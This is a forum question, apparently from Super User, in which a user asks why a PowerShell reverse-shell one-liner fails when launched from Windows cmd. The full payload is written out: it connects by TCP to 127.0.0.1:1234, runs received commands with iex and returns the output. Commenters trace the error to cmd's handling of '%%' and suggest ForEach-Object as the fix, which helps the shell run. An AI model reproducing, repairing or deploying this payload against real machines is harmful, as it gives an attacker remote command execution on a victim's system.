0

I run this code on cmd on win 10

powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

but i get this error

%% : The term '%%' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:127 + ... 3);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};whil ... + ~~ + CategoryInfo : ObjectNotFound: (%%:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException

Exception calling "Read" with "3" argument(s): "Value cannot be null. Parameter name: buffer" At line:1 char:140 + ... 5535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ArgumentNullException Any ideas why It says that? I saw some tutorials and it works good on them

  • Not entirely sure, but %% can be interpreted as % on commandline and I think that's the problem. – LPChip Dec 26 '18 at 21:23
  • So I replace %% with %? – Born vs. Me Dec 26 '18 at 21:24
  • 1
    Or try %%%%. Because then it are 2 % signs being parsed. Also, you did not actually include the error. – LPChip Dec 26 '18 at 21:25
  • I forgot, now i Included – Born vs. Me Dec 26 '18 at 21:28
  • 1
    Born vs. Me - JosefZ stated basically to use [byte[]]$bytes = 0..65535|ForEach-Object{0}; just like that for that part of the logic and stop using the % sign character entirely to ensure that you are not having an issue with that. It will iterate the 65000+ zeros for you either way. – Pimp Juice IT Dec 27 '18 at 0:30

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Browse other questions tagged or ask your own question.